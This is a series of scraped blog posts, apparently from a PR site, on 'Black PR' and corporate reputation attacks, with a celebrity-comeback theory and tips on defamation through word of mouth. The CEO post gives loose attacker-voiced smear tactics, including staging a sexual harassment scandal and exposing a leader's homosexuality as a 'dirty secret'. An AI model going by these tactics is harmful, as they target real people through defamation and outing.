Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

In the mood of the upcoming Christmas feasts, here are our tips of how to stay corporate fit during the season. As you know, during this time of the year most companies are quite busy with the execution of various sales campaigns or are rushing to close important deals right before New Year’s Eve. Christmas also means lots of parties, reunions and gatherings. However that urge for having a fresh start sometimes cost millions to the organizations as they tend to neglect their competitors and therefore easily become victims of lethal reputation attacks. While many attribute the cause for this as an excessive preoccupation during the holidays, much of the Black PR cases are due to the carelessness of managers to assess security threats and their actual frequency. CEOs also foolishly underestimate the objectives of negative campaigning and refuse to believe that someone will ever dare to affect their flawless corporate systems.

I don’t think is even worth mentioning it here how idiotic approach this is and to be honest many organizations deserve their own reputation misery. So instead of spending quality time with friends and families, many employees end up the year setting crisis teams and fighting bad publicity. Sounds like lots of fun, isn’t it?

What is the healthy diet?

First of all, I think it is very important for corporations to understand the power of a good reputation. Although it is not something that you can touch and hold in your hands, having a good name (personal or a brand) is the only thing that matters at the end of the day. It affects not only your annual financial reports, but also it gives you a competitive edge and a whole new meaning of your marketing strategies, internal relations and in general sales performance. Companies with strong reputation are more likely to recover from severe crises, than the ones with inconstant behavior and negative image.

Secondly, there is a common misunderstanding which I want to clarify. Usually when PRs talk about reputation, they tend to refer to it as good or bad one. The truth is that the reputation of an organization can be much more colorful as it can take many different shapes or sizes. Keep also in mind that the corporate image means different things for the different stakeholder groups, such as employees, suppliers, shareholders and the media. It is vitally important to keep the balance between them as you risk to put yourself in a very untrustworthy position.

The size always matters

There is no big or small reputation. It is all relative. Companies with big reputations are those with a greater popularity among the general public. This s the case with Body Shop. Everyone think of Body Shop as a company that is deeply concerned with the environment, fair trading and biologically clean products. This is something that nobody doubts or dare to counter.

Organizations with small reputations are those that fail to established any strong images in the minds of the audience. Usually those are start-ups or corporations with controversial past and lack of political protections. Even worse – firms with no individuality and international media presence.

The question here is what will happen when these two types of reputation collide. Obviously it will be much easier for a bigger organization to smash down the smaller one. It has wider network of connections, more money and better PR team. The smaller competitor won’t even noticed that they are being a victim of Black PR campaign or even if they do, nobody will believe them or even want to invest in an entity without any market future.

However if a start-up succeeds in the defamation of a bigger company, it will automatically position itself as better consumer alternative and even secure its own market place. This opportunity is especially seductive for the retail industry. The only difficult thing here is the creating of an effective Black PR strategy and a new marketing plan for after that.

So, take the tape measure and prepare for the upcoming festivals!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

There is a new documentary coming up this weekend on MTV about Britney Spears. It is called Britney: For the Record and it aims to rebuild her reputation after months of a total meltdown. It is expected to be a heart-breaking story about her emotional collapse and the way she completely lost her way to the top. Funny enough, MTV was blamed a year ago that it deliberately helped destroying her image by letting her on stage of the MTV Music Awards 2007. If you remember well she was brutally criticized by the tabloids at that time for her poor performance and horrible look, which put Spears even into a deeper depression. Britney easily became a synonym of psychological disorder and a topic of numerous humorous plots. For more then a year people all over the world were literally shocked by her tabloid-chronicled personal spiral that has included rumors of drug and alcohol abuse, a scalp-shearing breakdown, a few trips through rehab, visits from the department of child welfare, and a lot of genital exposure.

What is happening now?

For the last couple of months, the falling POP-star suddenly raised from the ashes. It was not something that I expected to occur so soon, at least not with the same magnitude. Today, Britney Spears looks like an entirely different person. She behaves well, spends quality time with her two sons, hits the top charts with a brand new single and even won two MTV awards. Larry Rudolph, her manager, kindly refers to as the official beginning of the comeback. However I couldn’t help but wonder, is it really a comeback or a well-designed reputation strategy?

There are a few disturbing things which make me reason that Britney Spears’s brake-down could be part of a complex, self-created Black PR campaign. I know this sounds insane! Who could possibly do this to himself, but if you think about it – Why NOT???

First of all, Britney released her fifth album, Blackout, right in the peak of her emotional troubles. Ask any reputation advisor and he will tell you that this is a wrong move, especially when you carry such a horrible media karma. That is completely true, but not if your singles are all about depression, self-lost and bad decisions. What would be a better way to promote your label, but your own self-destructing life. Keep also in mind that the target audience of the album is mainly composed of teenagers and I don’t even want to start discussing the emotional problems this particular group have to go through. What I am trying to say is that, Britney’ life may be seen from some as a total wreck, but for others (young troubled girls) it is empathy, etc.

On the other hand, people love to see their idols falling down. They want to assure themselves that the celebrities are just regular people as everyone else and have the same domestic and professional problems. This is how I can personally explain the whole hysteria around reality programs and behind the scenes features.

Believe me, Britney Spears’ record company knew this extremely well and as a result Blackout set the record for the biggest-selling digital album debut by a female artist in a week.

New Album requires a New Image

The next album of Britney Spears, Circus, is set to be released on 2th Dec (her birthday). The date it is not accidental. It should mark her comeback and new personal stage of life. She will be portrayed as more mature and emotionally stronger woman and she will probably start aiming at different type of audience.

Britney already looks different. She has better style, better figure, boosted self-esteem and professional attitude. She seems quite womanized and in peace with herself. All she needs to do now is to start excusing herself and her recent behavior. She is aiming at people’s compassion and fortunately for her, we all like to forgive.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

There is a new reputation term I stumbled across yesterday (via Authenticorganizations blog) so I thought it is worth discussing it. It is called collateral reputation damage and the idea behind it is that some companies could be incidentally defamed, just by having random similarities with another, less respectable organizations or individuals. According to the author:

The collateral damage, (is) not intentional damage, because the folks taking action don’t intend to damage the organization�s reputation. Instead, the damage occurs through guilt by association

How does it work?

The most popular example of collateral damage is when two similar names (let’s refer to them as A and B) are being negatively associated with each other. Usually there is no any relevant connection between them, except their names, nicknames, corporate symbols or initials. Visual resemblance is also possible. The only requirement here is one of the subjects (let’s say A) to have an established bad reputation in people’s minds. So, every time when people hear about the other one, B, they will subconsciously associate it with the negative qualities and characteristics of A. Fortunately, this works only for a very short period of time. However, it could be really damaging only if A is in the middle of a corporate/personal scandal.

This is what happened with Sarah Pailn and the Chiliean wine Palin Syrah. According to Chris Tavelli (a wine bar owner), Palin Sayrah was one of the best selling wines in his pub before her nomination as a Republican V.P. People were constantly put off of its low price and questionable quality.

How the affected party should react?

Well, there is no a straightforward answer really. Everything depends on the specific situation and whether the affected organization is willing to take any further steps to rebuild its reputation. The main point here is the harmed company or the individual must distant itself from the one with a bad image and make sure to demonstrate different corporate values. If the company publicly complains about its reputation loss and provide enough evidences about it, such as significant financial drops, then it has the real chance to increase its popularity, find new markets or even entirely re-position itself. As I always say, it all depends on the abilities of finding an opportunity in the crisis.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

Ask any reputation strategist and he will tell you that the most vulnerable asset of any corporation is its very own leader. Actually CEO’s reputation represent around 49%-65% of overall corporate reputation and thus it is inevitable part of numerous Black PR scenarios. The reason for this is because it requires much less efforts and time to defame a person, than to concentrate on the disparagement of an entire organization.

The objectives of the smear campaigns, on the other hand, could also be different. Usually there are two simple goals behind every reputation attack. The first one is directed at the personal qualities of the target and it aims his official resignation. Most of the time these types of attacks come from inside the company and are used when the leader is no longer suitable for the general corporate performance. It is also very convenient when he/she cannot be dismissed directly or is a great obstacle for someone’s interest. The second reason for CEO defamation is when the black- hats are trying to distract the attention of the industry’s stakeholders or are aiming to cause extra troubles for the organization. It is not a surprise that this is a very common situation during important events like new product launching or some forthcoming acquisitions.

Due to the high volume of recent reputation attacks, I tried to summarize the most common malicious scenarios that CEO’s could be involved in. Of course, there are a lot more scenarios than those that I have listed. Keep in mind that everything depends on the creativity of the attacker. The golden rule here is that the more uncommon the plan is, the more effective the results would be.

1. Sexual Harassment – This is the most popular type of attack that a leader could face. It is quite easy to be proved and works almost every time. All you need to do is to find a suitable victim, sufficient evidences and a tabloid editor, willing to pay enough for the story. Once the scandal is triggered, you can just sit down and relax.
2. Hypocrisy – The point here is to reveal a discrepancy between leader’s official attitude and his actual deeds. The latest example is the Sara Palin fashion affair. The problem there was not that she likes to wear very expensive, designer clothes, but the fact she is not a regular American girl as she had been trying to portray herself.
3. Membership of controversial groups – This is a really powerful approach. If you can prove that the CEO is a part of a mob gang, religious cult or secret society, than his media crucifixion will be certain. The corporate long term strategies will also be affected.
4. Professional Incompetence – if the leader is incapable of making good decisions and taking responsibilities of his action , then the quality of the corporate services will be put under a serious suspicion. This is pretty scary for most of the B2B type of companies.
5. Misuse of corporate resources (Embezzlement) – Financial wrongdoing and unethical behavior are probably the most significant threats to every corporate reputation.Such is the case with the Deyaar’s ex-CEO, Zack Shahin, who was suspected of embezzling over $33 millions into his personal accounts. The scandal broke earlier this year and let to his immediate discharge as the head of the biggest property developer in Dubai. According to the Gulf media sources, the company is still trying to recover its tarnished reputation and to regain the trust of its shareholders.

I want to clarify that the person who was accused of embezzling Deyaar Development’ resources is Zack Shahin , not Nasser Al-Shaikh as was stated earlier before. Mr. Al-Shekih is the current Chairman of the company and The General Director of Dubai Department of Finance. Spin Hunters apologies for any inconvenience we might caused with this post.

6. Indictment – When it comes to CEO’s reputation, ethical conduct is always on the top. Bernard Ebbers, the former CEO of WorldCom, learned that the hard way when he was indicted on federal charges stemming from the multi-billion dollar accounting fraud at the telecommunications giant. He was also charged of conspiracy and false filing with the Securities Exchange Commission. Today he is serving his sentence at the FCI Oakdale.
7. Personality and Lifestyle – The main goal of the attacker here is to reveal all the dirty secrets of the target that are not publicly known. If the leader is a drug addict, a racist or a homosexual and this type of an image is in total clash with the position he takes, then not only the reputation of the organization, he is associated with, will suffer but also the reputation of the entire industry itself.

Bottom Line: CEO’s reputation will always be a target of professional smear campaigns. The best thing CEOs can do is to be completely honest and sincere with his PR strategic team, as this is the only way to tackle all pending reputation risks.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

There is a new widget that caught my eye the other day and I have been playing with it ever since. It’s called Tell-a-Friend and its general purpose is to help users to share any type of information without leaving the website where it is installed. Nothing new, you may say, but the point I want to make is that this tool actually enables visitors to access their friends with much greater speed and scope. So, instead of remembering all the contact details of your LinkedIn network, you can now spread your messages with less efforts and boring authentication requests. Convenient for ones, quite scary for others! Tell-a-Friend is a two-edged sword that can successfully build and destroy your reputation in a matter of minutes. Everything depends on the professional skills of both the black-hats and the reputation management consultants.

It is not a surprise that most of the serious PR agencies today design Word-of-Mouth (WOM) strategies as part of their promotion services. They are well aware of the power of peer-to-peer sharing and that most potential costumers heavily rely on the advice and the input of the people they trust. A professionally executed WOM campaign is hundreds of times more effective than any other advertising platform combined with the best communication tactics, especially when it can also help boosting the sales performance and corporate operational profit.

One of the most specific features of WOM marketing is that it barely relies on any substantial facts, but personal opinions. So, even if you read something about yourself on the Web that it is not entirely true, the measures you can take are pretty limited. It is almost impossible to start legal actions against a whole community, especially when the initial source of the rumor is hard to be identified. It is also quite stupid for a company to blame someone because of his personal believes and thus all marketing books share the opinion that customer is always right.

I will stop here. I think it is pointless to explain further the importance of Word-of-Mouth and its global impact on corporate reputations. However, I believe it is crucial to discuss its usage as rumor spreading accelerator and general defamation tool.

What makes Negative WOM so powerful?

It is proven that people trust negative information way more than any superlatives. If you hear something bad about someone, this is more likely to be remembered than the high volume of positive stories you can find about that very same person. The reason for this are the libel messages with their embellishing nature which causes the drama effect. This means that if you start a rumor about something,,at the end of the day it will sound totally different from its initial form. In fact, every time when somebody repeats the story, the impact will be much bigger and stronger over the target audience. None of the other communication tools enable you to do that.

The other thing I would like to mention is the tempo, with which viral messages could be disseminated. This is extremely important for every defamation campaign , because it disables the target to react promptly on existing reputation attacks. If the target delays its official respond or fail to give a reasonable explanation of the buzz (with enough number of facts), then the allegations will be subconsciously confirmed by the audience. Moreover, this delay may actually help the rumors to spread even more and this is how the target’s reputation can be permanently damaged.

In conclusion, I can only say that most of the big corporations tend to underestimate the power of negative communication. They are willing to spend enormous amount of money for creating a positive buzz, but not fighting the negative one. In short term perspective, this may look reasonable, but keep in mind that there will always be someone that doesn’t like your product and will try everything to take you down. As I always say, it is up to you to decide whether this is going to happen.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1

The high volume of recent smear campaigns has led to the need of a special acknowledgment.

Spin Hunters is eager to rate the most popular cases of reputation attacks in the last year. Whether this will be the hysterical speculations over the upcoming election or the intensive rumors about the crush of a big financial institution, it is up to you decide. Therefore if you suspect that some of the current affairs are part of a malicious Black PR plot or you know this for sure, please submit your nominations by emailing us. At the end of the year, we will honor the most over-hyped stories by giving them a special award and public rebuke.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

The Upcoming 0.5
Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1